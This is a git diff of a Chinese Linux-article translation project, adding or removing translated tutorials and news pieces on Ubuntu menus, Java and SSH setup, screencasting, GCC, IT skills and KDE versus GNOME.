Menu Indicator 可以解决这个问题。这个俏皮的包被安装在顶部面板的通知区域,在Ubuntu中带回了GNOME风格菜单体验。 + +像经典的GNOME菜单一样,它包括所有的应用和经典菜单结构。对于曾经使用过它的人们是容易导航和开启应用。对于新用户,它也是容易掌握。 + +接下来的简短指导将会告诉你如何在Ubuntu中安装这个包。 + +马上开始,在键盘上按下 **Ctrl – Alt – T** 打开终端。 +打开完毕后,运行下列命令,加入它的PPA文件 + + sudo apt-add-repository ppa:diesch/testing + +接来下,运行下列命令安装它。 + + sudo apt-get update && sudo apt-get install classicmenu-indicator + +安装完成后,在Unity Dash中启动。它叫Classic Menu Indicator.当你启动它的时候,它会自动的嵌入顶部面板,如下图。 +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/classic-menu-indicator.png) + +就是这样,使用并享受吧! +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipslike-gnome-classic-menu-get-classic-menu-indicator/ + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md b/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md new file mode 100644 index 0000000000..ad2a1c30ea --- /dev/null +++ b/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md @@ -0,0 +1,23 @@ +用解释性用户友好的图标的创作设计故事加深你的创意知识 +================================================================================ +伴随着质量性、稳定性和灵活性,Ubuntu自带了一批富有经验的设计师,这些设计师覆盖了越来越多的Ubuntu的角落,因此压印进这个闪耀着光芒的系统中的漂亮区域、优化行为、小心实现的交互等。 + + **Ubuntu的设计师 Matthieu "Tiheum" James**,--Faenza和Faience的发明者--, 发布了一篇有趣的文章,(这篇文章)围绕着几个图标的发明展开。这篇有见地的文章使得感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。 + +上面提到的最近在香港的OpenStack峰会上发布的图标是为Juju设计的,这个图标采用了一个有趣的特性,为了满足Ubuntu在香港峰会的参观者的需要,“**我们想**用比较特殊的一点的东西来代替正常的Juju图标,以向参观了Ubuntu站的人们解释说Juju可以做什么。我们决定使用的带配料和酱汁的冰淇淋的想法(来说明),你可以在同这个想法(用配料和酱汁调配出自己的冰淇淋)一样,建立Juju的服务。 + +这篇文章解释了在真实的图标创作过程中真实的心路历程,使读者沉浸在一个解释性同时易于掌握的旅程中,在旅程之中包括寻找好的概念,最初的草图,为图标添加角度,采用不同的设计方法,选择图标背景,精炼图标等。从本质上讲,一个易于阅读的设计故事。 + +![](http://iloveubuntu.net/pictures_me/icon%20creation%20design%20story.jpg) + +你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story + +译者:[crowner](https://github.com/crowner) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/ diff --git a/translated/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md b/translated/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md new file mode 100644 index 0000000000..7dd6ac5d8b --- /dev/null +++ b/translated/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md @@ -0,0 +1,28 @@ +GCC 4.9现在处于修复BUG的第3阶段 +================================================================================ + +[GCC 4.9][1]将拥有很多[新功能][2]将定于2014年上半年发布。早先的GCC代码基础将不会支持新的功能,因为它是一个大修复的标记。 + + +Richard Biener今早宣称分支已经发展到了阶段三,因此在之后的八月将这些功能融入4.9版本,除非发布经理授权的异常发生,不然毫无变化。阶段三只允许一般BUG的修复工作,将在2个月内完成而到达只允许文档和回归的阶段四。 + + + +目前GCC4.9有63 P1 回归(最严重的回归)其次是136 P2回归,14 P3回归,88 P4 回归 以及 60 P5回归。直到63回归的P1阶段被清零,GCC4.9才会被关闭去发布。GCC 4.9.0 发布版将可能在2014第二季度左右到来! + + +早先的GCC 4.9.0状态报告可以在[GCC mailing list][3]中被找到。GCC 4.9将会是一个美好的编译器更新,并会挑战下个月发布的[LLVM3.4][4]。 + + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9 +[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ +[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html +[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4 \ No newline at end of file diff --git a/translated/How to Control Your Linux PC with an Android Device.md b/translated/How to Control Your Linux PC with an Android Device.md deleted file mode 100644 index 343f5a1201..0000000000 --- a/translated/How to Control Your Linux PC with an Android Device.md +++ /dev/null @@ -1,66 +0,0 @@ -KayGuoWhu翻译中 -使用安卓设备控制你的Linux PC -================================================================================ -**下面的教程会指导所有的Linux使用者如何在系统上安装SSH,以便通过安卓智能手机远程访问他们的电脑。** - -![](http://i1-news.softpedia-static.com/images/news2/How-to-Control-Your-Linux-PC-with-an-Android-Device-396004-2.jpg) -如今我们所有人都拥有一台平板或出触屏手机,我们经常使用它们在深夜里看电影或电视秀,听歌或者阅读一本好书。你可以把这篇文章称作是为那些在大晚上因为太过疲惫而懒得去开启他们电脑上的某些应用程序,移动、删除,复制或重命名某些文件,甚至关掉PC的懒人们准备的教程。 - -的确,已经有各种各样的远程桌面解决方案,但是许多方案费用很高,或者实现效果很糟糕,无法像预期一样运行,迫使你最终还是得去电脑上做你原本想做的事情。 - -在这个教程里面,我们将使用一种简单、安全、高效的协议,它被称为SSH (Secure Shell),很容易从默认的软件仓库中安装(在Arch linx中是openssh,在Ubuntu中时openssh-server)。 - -### 配置SSH服务器 ### - -在安装完成后,你需要为SSH服务器进行基本配置。为此,你需要使用文本编辑器编辑/etc/ssh/sshd_config这个文件。 - -1.在文件尾部添加下面一行(yourusername的地方会被你的Linux机器上真实的用户名代替) - -AllowUsers yourusername - -2.取消"#PermitRootLogin"这行注释,把"no"替换成"yes": - -PermitRootLogin no - -3.为了安全起见,你需要修改SSH 连接默认的port 22端口到一个更大编号的端口,譬如在我们的例子中是55441 -(但不要使用55441,这是初始的,找另一个四位或者五位数字)。因此,取消注释并编辑"#Port 22"如下: - - Port 55441 - -### 开启SSH服务器### - -在Ubuntu上,SSH服务通过下面的命令启动: - - sudo /etc/init.d/ssh start - -当你每次修改上述配置文件时,都需要通过下面的命令重启: - - sudo /etc/init.d/ssh restart - -在Arch Linux上,你可以使用下面的命令启动SSH服务: - - sudo systemctl start sshd - -### 配置安卓设备上的SSH客户端### - -JuiceSSH似乎是安卓上最好的SSH客户端之一,而且是免费的。同时,如果你认为它的功能不好,可以花费少量的资金去获取更多高级的特性,譬如亚马逊 AWS/EC2 集成,团队协作,以及更多其它的特性。 - -一旦软件安装完毕,开启它,然后你会要求输入一个加密的密码以保证安全连接的安全。这个密码由WES-256进行加密,因此除非你的设备被偷,否则没有人能够获取他们。 - -![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_001.jpg) - -现在,添加一个新连接,选择名称,你的电脑的IP地址,上面设定的端口号和一个需要被创建的身份。 - -![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_002.jpg) - -![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/sshlinuxandroid-large_003.jpg) - -这就是我的Arch Linux盒子,可以通过我的安卓平板上的JuiceSSH客户端访问到。如果在这个教程中你遇到问题,请在下面进行评论。 - --------------------------------------------------------------------------------- - -via: http://news.softpedia.com/news/How-to-Control-Your-Linux-PC-with-an-Android-Device-396004.shtml - -译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/How to Make a YouTube Instructional Screencast Video on Linux.md b/translated/How to Make a YouTube Instructional Screencast Video on Linux.md new file mode 100644 index 0000000000..9862f2384d --- /dev/null +++ b/translated/How to Make a YouTube Instructional Screencast Video on Linux.md @@ -0,0 +1,95 @@ +如何在Linux上制作一个YouTube屏幕录像视频教程 +================================================================================ +一幅画胜过一千句话,一个精心设计的指导视频几乎无价。Linux有你需要的制作有用且高质量教学视频的所有工具。我们将用强大的kdenlive视频编辑器和Audacity音频录制器和编辑器制作一个简单的屏幕录像,并学习如何在YouTube上分享精彩的屏幕录像。 + +一台安装了Kdenlive和Audacit软件的Linux系统PC,一个质量好的麦克风或耳机,和一个YouTube的帐号就是你需要准备的全部。(是的,除了Youtube还有很多其他的免费视频共享服务,欢迎您来探索它们。)YouTube属于Google,因此Google试图诱导你与全世界共享任何人和事。如果这不是你想做的,请说no。 + +我们的工作流程是这样的: + +- 用Kdenlive录制屏幕录像 +- 用Audacity录制音轨 +- 添加音轨到Kdenlive +- 上传到YouTube +- 全世界看你的视频,好开心 + +kdenlive支持最流行的数字视频格式,包括AVI,MP4,H.264,和MOV。它支持的图像文件,如GIF,PNG,SVG和TIFF;支持的音频文件格式,包括非压缩的PCM,Vorbis,WAV,MP3和 AC3。你甚至可以阅读和编辑Flash文件。总之,它可以处理很多东西。 + +你的配音与你的视频一样重要。请一定要重视你的音频。使音频保持干净和简单,保持杂乱的题外话,方言,和去除背景噪声降到最低点。我喜欢用一个质量好的耳机做陈述,因为你不必担心话筒位置,你可以听你自己反复地诉说而不影响到你身边的人。 + +Kdenlive的文档已过期,它会告诉你制作屏幕录像需要RecordMyDesktop软件。我用的是kdenlive 0.9.4,其实不需要Recordmydesktop。 + +![](http://www.linux.com/images/stories/41373/fig-1-settings.png) + +*图 1:默认配置* + +### 制作屏幕录像 ### + +首次安装kdenlive,第一次运行时会启动配置向导。不必在意默认设置,因为你随时都可以改变它们。这是我的屏幕录像的设置:高清720p每秒30帧,1280x720的屏幕尺寸。如何知道使用什么设置项? [YouTube tells you][1]。设置这些值可到Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps(图1),设置捕捉屏幕的大小到 Settings > Configure Kdenlive > Capture > Screen Grab(图2)。虽然你也可以选择捕捉全屏幕,但最好还是坚持用YouTube规定的尺寸。因为如果使用的尺寸与YouTube规定的不一样,则YouTube将增加Pillarboxes来达到合适的尺寸。热切的观众会更加希望看到一个充满生动的内容的屏幕,而不是Pillarboxes。 + +![](http://www.linux.com/images/stories/41373/fig-2-settings.png) + +*Figure 2: Screencast screen size.*图 2:屏幕录像的屏幕大小 + +默认的YouTube视频播放器的大小是640x360标清320p,又小又模糊。播放器控制着小屏,大屏,全屏,和多个质量等级。这些设置只有你的观众会使用,640x360标清320p看起来真的不咋样,但郁闷的是你无法改变这个缺陷。尽管如此,你仍然想制作高质量视频的话,你可以添加一些文字来提醒观众尝试更好的配置。 + +### 保存你的项目 ### + +在你做任何其他事情之前,点击 File->Save as 保存您的项目,并记住周期性地保存它。 + +### 抓取屏幕 ### + +抓屏小菜一碟。到Record Monitor,选择Screen Grab,然后点击Record按钮。屏幕上将打开一个带虚线的框,框里面的所有内容都将被录制下来。因此,你需要做的所有事就是移动框并调整框的大小到你想要l录制的范围。完成后点击停止按钮(图3)。 + + +![](http://www.linux.com/images/stories/41373/fig-3-screen-grab.png) + +*图 3:屏幕抓取* + +单击Stop,自动打开Clip Monitor,你可以预览你的裁剪效果。如果你喜欢它,把它从Project Tree中拖到Video 1轨道。现在你可以编辑你的视频了。总会有需要你修剪的地方;一个快速的方法是,你在Project Monitor里播放你的剪辑片,直到播放到你需要移除部分的末尾。然后暂停,然后按下Shift+r。你的剪辑片将会在你按下停止的时间轴上的点上被切割为两个剪辑。点击你要删除的片断,按下Delete键,噗!它就消失了。 + +对于剩下的剪辑片断,可能你想要从时间轴上的某一点开始播放,也可能你想要加入一些好的变换。比如一些简单的渐变就相当不错;右键点击你的剪辑片断,点击Add Effect > Fade > Fade from black 和 Fade to black,然后Kdenlive将自动将这两个效果放到开头和末尾。 + +### 添加配音 ### + +请参阅[Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2]来学习使用Audacity录音的基础。以16bit的wav格式导出你的音频文件,然后通过Project > Add Clip导入到Kdenlive。然后将你的新音频剪辑拖到Audio tracks。一个简单的制作视频陈述的方式是边播视频边说。运气好的话,你不需要做很多的清理工作,你的评述就会与视频同步。 + +![](http://www.linux.com/images/stories/41373/fig-4-audio-gap.png) + +*图 4:用Shift+r切割音轨,然后将其中一个剪辑片从切割点拖离,创建一个静音间隙* + +如果你的语速比视频快,你可以在音轨中添加空档时间.很简单,用Shift+r切割音轨,然后将其中一个剪辑片从切割点拖离,创建一个静音间隙。(图4)。 + +### Rendering Your Project ### 渲染你的项目 + +当你满意自己的编辑,并准备导出你的最终格式时,点击Render按钮。这需要几分钟的时间,取决于你的电脑速度和项目大小。网页已有预先设定的值,如果你选择File Rendering, 你可以调整你的设置(图5)。我用File Rendering中的H.264,Video比特率12000, Audio比特率384取得了不错的效果。H.264是一种超压缩格式,使用这种格式发布的文件小但质量好。 + + +![](http://www.linux.com/images/stories/41373/fig-5-rendering.png) + +*图 5:选择文件渲染,调整你的网页设置* + +### YouTube Bound ###YouTube的装订 + +现在你可以在VLC或MPlayer或你喜欢的任何播放器中播放你的视频了,如果它看起来很好,那么你就可以将它上传到你的YouTube帐户里了。以典型的Google风格,你的信息中心和视频管理器会混乱又复杂,不过请坚持到处瞅瞅,你会理出头绪的。在你做任何事情之前,你必须对你的账户做资格认证,也就是通过短信和邮件获得一个验证码。通过输入验证码证明你不是一个网络爬虫后,你就能上传你的视频了。 + + +你可以上传你的视频,然后标记它们为私人可见或所有人可见。Google有一些编辑工具,你可能会喜欢,比如自动纠错和配背景音乐。不过以我的拙见,几乎没有人是这样子做背景音乐的,所以这种工具只会令人讨厌。不过你有可能是第一个正确使用这个工具的人哦。 + +最有用的编辑工具是自动闭路字幕。我推荐在你所有的视频上使用此功能,不光是为了那些听觉障碍的人,也为了那些需要保持低音量观看的人,确保所有的人都明白你在说什么。字幕工具还创建一个副本。 + +另一个有用的工具是注释工具,它支持言语泡沫,标题,聚光灯和标签。当然,在Kdenlive中,这些你都可以做到,所以都可以尝试一下。 + +好吧,到这里就结束了,但似乎我们刚刚开始。请分享你的视频,并在评论中添加Youtube的小建议和技巧。如果可以的话,请在[video.linux.com][3]分享你的新的视频教程,并加入100个Linux教程活动。 + + +-------------------------------------------------------------------------------- + +来源于: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/ + +译者:[coolpigs](https://github.com/coolpigs) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648 +[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux +[3]:http://video.linux.com/100-linux-tutorials \ No newline at end of file diff --git a/translated/Insights into top 3 IT skill groups in highest demand.md b/translated/Insights into top 3 IT skill groups in highest demand.md new file mode 100644 index 0000000000..33b8067586 --- /dev/null +++ b/translated/Insights into top 3 IT skill groups in highest demand.md @@ -0,0 +1,51 @@ +洞悉需求最高的三大IT技能组 +================================================================================ +![](http://www.linuxcareer.com/images/linux_it_skills_watch.png) +据[IT技能清单][1]调查报告结果显示,雇主所需的Linux人才应具备的IT技能可分成相对独立的组群。本文将着重介绍在上一个季度(2013年7月-9月)需求度最高的3组IT技能,这些技能在包括美国在内的被选国家招聘广告中都有所提及,同时结果表明这三组技能可以和Linux相关的工作领域需求相匹配。 + +报告指出在上一季度具有嵌入式开发人员相关技能的人才是Linux专业雇主亟需的一类。排在第二位和第三位涉及的技能领域分别对应虚拟化技术和LAMP管理。本文将基于这三类工作清单涉及到的技能需求加以讨论,并对分析后的三组技能间的依赖结构关系加以洞悉。 + +> 如果您尚未阅读[IT技能清单][1],我们强烈建议您在阅读以下内容前先熟悉这篇文章。它详细阐明了本次研究中用到的方法,本文也是基于[IT技能清单][1]的材料才得以进一步分析。 + +### 2013年8月IT技能分类更新 ### +![](http://www.linuxcareer.com/images/percentage_of_linux_job_ads_linked_with_corresponding_skill_groups.png) +在IT技能清单这篇文章中,LinuxCareer.com分析了2013年5月到6月底的Linux工作清单,我们在这个基础上将2013年7月到9月底这个时间段的更新也加至分类分析中。10类相关的IT技能在Linux招聘广告中出现的比率列于如上[条形图][1]中。[IT分类][2]图表表明如何基于分类设计出此条形图。我们可以看到,IT技能需求前三组为:占据27%的Linux就业市场份额的嵌入式开发人员需求,占20%就业份额的虚拟化技术工程师和占12%Linux就业份额的LAMP管理员。文章接下来的三部分将围绕这三项IT技能需求组及三者的相互关系展开详细的讨论。例如,MySQL和PHP这两项技能有强关联性,通常雇主都会一起考虑。另外要指出的是,LinuxCareer.com的这项调查里掌握Linux的基础知识已默认存在于任一招聘需求中。 + +### 嵌入式开发人员及程序员 ### +需求最高的第一类技能组是针对嵌入式开发人员及程序员的。如下的[依赖图][2]详细阐明了技能间的关联关系,尤其表明了哪几项技能更可能同时出现在Linux招聘需求中。例如,嵌入式开发非常需要C/C++/C#相关技能,而这些语言要么在图表下部的深色矩形区域,要么在图表上部的对应圆形阴影中聚集。 + +总体来说,这组技能可以进一步细分成如下三类: +1. **Android, Embedded, C/C++/C# and Java**.如果您准备在嵌入式领域发展,这些是你需要掌握的核心技能,而C/C++/C#或Java掌握其一便可满足雇主需求,因为Java是基于部分C/C++/C#性能的扩展性语言。如果您阅读了8月的IT技能表,就会发现,Java以9513分居于编程语言的榜首,而C/C++/C#是5403分。如果您尚在犹豫是掌握C/C++/C#还是Java,从技能表得分看起来Java应该是更好的选择。但根据如下图表显示,C/C++/C#似乎在嵌入式领域的招聘需求中更受欢迎。总结可得尽管Java在IT技能表中有更高的得分,但在嵌入式开发职位上掌握C/C++/C#会比Java更有用。 + +1.** Python, Perl and Bash**.这些是对脚本编程语言技能的补充。对Perl和Python语言的需求经常会在招聘中同时出现,当然,也可以理解成这两种语言技能都是需要掌握的。 + +2. **Git, Subversion and Jira**.这些软件知识会应用到源码管理、调试和项目管理中,同时了解这几个方面的知识对相关项目的编程大有裨益。目前,主流开源项目和大量合作项目都在用类似的软件管理他们的源码。 +![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png) + +### 涉及数据仓储及管理的虚拟化技术工程师 ### +目前第二大需求技能组是如下[依赖图][2]所示与虚拟化技术工程师相关的技能。这一组可进一步细分成两部分,第一部分是Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix,这些技能对寻求虚拟化技术工程师的工作很重要;第二部分是同Unix系统、数据仓储及管理相关的技能。同时这两部分是紧密联系的。显然VMware和ESX/ESXi及vSphere是相关的,因为ESX/ESXi是VMware虚拟机下提供的虚拟产品,而vSphere是VMware虚拟机的云端虚拟操作系统。Redhat和VMware、Citrix产品被分到同一部分同样有其原因。这里Solaris和AIX具有密切关系的原因可以理解为它们都是专有的Unix系统,掌握其一便可。 +![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png) + +### LAMP管理员 ### +最后,第三大技能组是如下[依赖图][2]中显示雇主需求的LAMP管理员应具备的技能。LAMP是Linux、Apache、MySQL和PHP的简称,所有这四项内容是作为一名LAMP管理员所要了解的核心。这是一组相对来说小规模却会引领你至在Linux路途中发展更远的技能。实际上,PHP和MySQL的密切关系表明这些技能中的任一项都不能脱离其它技能来单独掌握。 +![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png) + +### 总结 ### +本文基于就业能力和Linux专业人员需求技能分组阐明了两点。第一点是对经常出现的IT技能通过集群分析划出了10类IT技能组;第二点是基于Linux工作需求与相应技能组的对应结果,嵌入式程序员在Linux招聘需求比率最高,第二及第三技能需求比率最高的领域分别对应虚拟化技术工程师及LAMP管理员领域。这三大技能组即为上一季度分析出的Linux技能需求的核心。 + +### 参考 ### +[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3]. Relevant package: graphics. + +[2] Dependency charts created by [GNU R][3]. Relevant package: corrgram. + +-------------------------------------------------------------------------------- + +via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand + +译者:[icybreaker](https://github.com/icybreaker) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxcareer.com/it-skill-sets +[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png +[3]:http://www.r-project.org/ diff --git a/translated/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md b/translated/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md new file mode 100644 index 0000000000..2591e3eb3a --- /dev/null +++ b/translated/Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA.md @@ -0,0 +1,88 @@ +使用PPA在Elementary OS 'Luna'上安装Oracle Java 7 +================================================================================ +**问题**: 我该如何在 Elemetary OS Luna 上安装Oracle Java 7? + +**回答**: 在 Elementary OS Luna 安装 Java 7 的步骤如下: +由于Elementary OS是基于Ubuntu,所以我们允许使用具有多种Java包的**WEPUD8 PPA**。 + +1. 打开终端。 + +2. 运行以下指令添加Java的PPA到你的软件仓: + + $ sudo add-apt-repository ppa:webupd8team/java + + You are about to add the following PPA to your system: + Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html + Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html + More info: https://launchpad.net/~webupd8team/+archive/java + Press [ENTER] to continue or ctrl-c to cancel adding it + +3. 按回车继续 + + gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created + gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created + gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com + gpg: /tmp/tmpB5WwDG/trustdb.gpg: trustdb created + gpg: key EEA14886: public key "Launchpad VLC" imported + gpg: Total number processed: 1 + gpg: imported: 1 (RSA: 1) + OK + +4. 现在更新你的系统 + + $ sudo apt-get update + +5. 运行以下命令安装Java 7: + + $ sudo apt-get install oracle-java7-installer + + [sudo] password for enock: + Reading package lists... Done + Building dependency tree + Reading state information... Done + The following packages were automatically installed and are no longer required: + gir1.2-gstreamer-0.10 libilmbase6 libmagickcore4 libmagickwand4 libcdt4 + libmagickcore4-extra liblqr-1-0 imagemagick-common libpathplan4 libopenexr6 + rsync netpbm libgvc5 libnetpbm10 libgraph4 + Use 'apt-get autoremove' to remove them. + The following extra packages will be installed: + gsfonts-x11 java-common + Suggested packages: + default-jre equivs binfmt-support visualvm ttf-baekmuk ttf-unfonts + ttf-unfonts-core ttf-kochi-gothic ttf-sazanami-gothic ttf-kochi-mincho + ttf-sazanami-mincho ttf-arphic-uming + The following NEW packages will be installed: + gsfonts-x11 java-common oracle-java7-installer + 0 upgraded, 3 newly installed, 0 to remove and 196 not upgraded. + Need to get 88.5 kB of archives. + After this operation, 473 kB of additional disk space will be used. + Do you want to continue [Y/n]? + +6. 输入代表Yes的**Y**以及回车键继续安装。 + +7. 在安装过程中,你需要同意条款才能继续。选择**OK**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask1.png) + +8. 然后选择**Yes**继续。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask2.png) + +9. 现在请等待安装包的下载与自动安装: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-Downloading.png) + +10. 安装完成。你可以在终端上查看Java版本: + + $ java -version + java version "1.7.0_45" + Java(TM) SE Runtime Environment (build 1.7.0_45-b18) + Java HotSpot(TM) 64-Bit Server VM (build 24.45-b08, mixed mode) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/ + +译者:[whatever1992](https://github.com/whatever1992) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/KDE vs GNOME- Settings, Apps, Widgets.md b/translated/KDE vs GNOME- Settings, Apps, Widgets.md new file mode 100644 index 0000000000..8350ca4aac --- /dev/null +++ b/translated/KDE vs GNOME- Settings, Apps, Widgets.md @@ -0,0 +1,84 @@ +KDE vs GNOME: 设置,应用和小工具 +===================================== + +当提到桌面环境时,对你来说选择一个合适的可能是个值得深思的个人问题。在这篇文章中,我会比较Gnome和KDE这两种最为流行的Linux桌面环境之间的不同之处,也会通过对比它们的优缺点来探究每一种桌面环境所能提供的功能。 + +###第一印象 + +第一眼看到桌面,你可能会觉得KDE看起来比Gnome更光亮,并提供一个更友好的科技外观。此外,如果你习惯于Windows环境,屏幕底部的菜单和按钮布局会让你感觉KDE看起来更熟悉一些。你可以很容易地找到Kmenu,启动程序以及仅仅点击几下鼠标就能找到文档。 + +KDE的另一个重要和熟悉的好处是方便地在每个打开的文档、图片和应用中使用最小化和关闭按钮。对于那些习惯其它平台的人来说,这些特性可能会认为是理所当然的。但是考虑到对于像Gnome这样不再提供一个真正的最小化选项的桌面来说,这里是值得给予KDE支持的。 + +第一次加载进入Gnome 3,如果你来自另一个平台,它的桌面可能被认为是很奇怪的。像经典的Gnome一样,你想访问的文档和工具并不位于屏幕的底部。让新手们感到更陌生的是,关闭正打开的窗口的方法是如此的“与众不同”。然而,站在支持Gnome3的角度上,我发现只要你习惯了这种新的做事方式,会觉得这是一段相当愉快的经历。我所知道的已经试用过Gnome3的新用户们也普遍地感觉良好。 + +###小工具和扩展 + +随着我们深入了解Gnome和KDE提供的扩展和小工具,这两种桌面环境之间的差别会越来越大。尽管它们都能提供可运行的附件以增强你的桌面体验,但是它们在如何处理扩展功能上的分界并不相同。 + +KDE采用一种有趣的方式,即你可以桌面小部件划分到称为“活动区”的分组中。这使得你可以创建一个包含一系列桌面小部件的活动区,以处理特定的工作流。 + +相反地,Gnome按照另一种方式定义活动区。Gnome使它的活动区更加基于任务和应用,而不是以小部件为中心。例如,如果我正在使用多个应用程序,切换到Gnome活动区视图允许你能够可视化地、及时地访问每一个任务。 + +###设置你的桌面 + +虽然在通过GUI提供充足的设置方面Gnome做得越来越好,但KDE依然是这个领域的王者。 + +使用KDE,你可以通过设置去控制几乎桌面的每一个方面。一些诸如[OpenSUSE][1]Linux发行版,通过紧密地把它们的工具 ([YaST][2]) 集成到KDE的设置环境中,在这方面做得更好。 + +自从Gnome3之后,随着Gnome桌面的更新,我发现的最显著的地方是KDE正在以轻松的设置访问提供更加强大的功能。Gnome往往把特定于应用程序的设置放在一个容易找到的每个应用程序的地方。 + + +但是KDE倾向于为应用程序提供更细粒度的控制。我最喜欢的例子之一是[Kontact][3] vs [Evolution][4]。它们分别是Gnome和KDE上很强大的个人信息管理软件。但不同的是,Kontact是一套附带为每个应用程序绑定一套控制的应用程序,而Evolution只是拥有有限控制的单个应用程序。在其它特定于桌面的主题中,[AmaroK][5] vs [Rhythmbox][6] 也是如此。 + +###文件管理 + +当涉及到为你的桌面寻找合适的文件管理器时,Gnome和KDE都能通过提供默认选择为你完成这项工作。[Nautilus][7]是Gnome的默认文件管理器,而KDE提供[Dolphin][8] 作为它的默认文件管理器。 + +除此之外,我发现Nautilus为Gnome用户提供一个光鲜的、易用的文件管理工具,不会使Linux的新用户们不知所措。然而,回归到KDE上,对于那些想要复杂控制的人,Dolphin是一个高度可配置的,而不是适合新手的文件管理方案。 + +如果简单地观察每个文件管理器的侧边栏,你会注意到Nautilus提供最直接的导航方式。但是,KDE的Dolphin在诸如上一次使用文件的日期和其它相关选项的特性上做得更好。 + +如果你是高级的Linux用户,你很可能发现自己被Dolphin吸引,因为它提供了最多的选择和控制。对于那些不想通过复杂的控制导航文件的人,Nautilus在简单性上更胜一筹。 + +###桌面应用 + +在Linux爱好者中引发分歧的一个地方是声明某个桌面可以提供更好的默认应用。也就是说,这当然是Gnome和KDE所处的情况。 + +我在这个方面的发现是:在一些方面,Gnome不费吹灰之力就能胜出。例如,GIMP、Evince和Pidegin相对它们在KDE上的同类是更少依赖的应用。以我之见,Kmail是另一种应用程序,它带给KDE的新用户们一个坏印象。像这类的应用是过于复杂,并且在一般情况下,使用起来难以捉摸。 + +在另一方面,也有一些有价值的地方来支持KDE。[Calligra][9] vs [AbiWord][10] 对于KDE来说是轻松取胜的,因为[LibreOffice][11] 并不是一个“真正的”Gnome特定选项。仅仅凭它 +是很多Linux发行版的默认套件并不能使它成为桌面环境的默认选择。 + +最后,Linux最神奇的地方之一是你可以安装GTK或者Qt库,享受最符合你需求的应用程序带来的好处。对我自己,我发现在大部分情况下,Gnome的默认应用程序是明显的赢家。 + +###结语 + 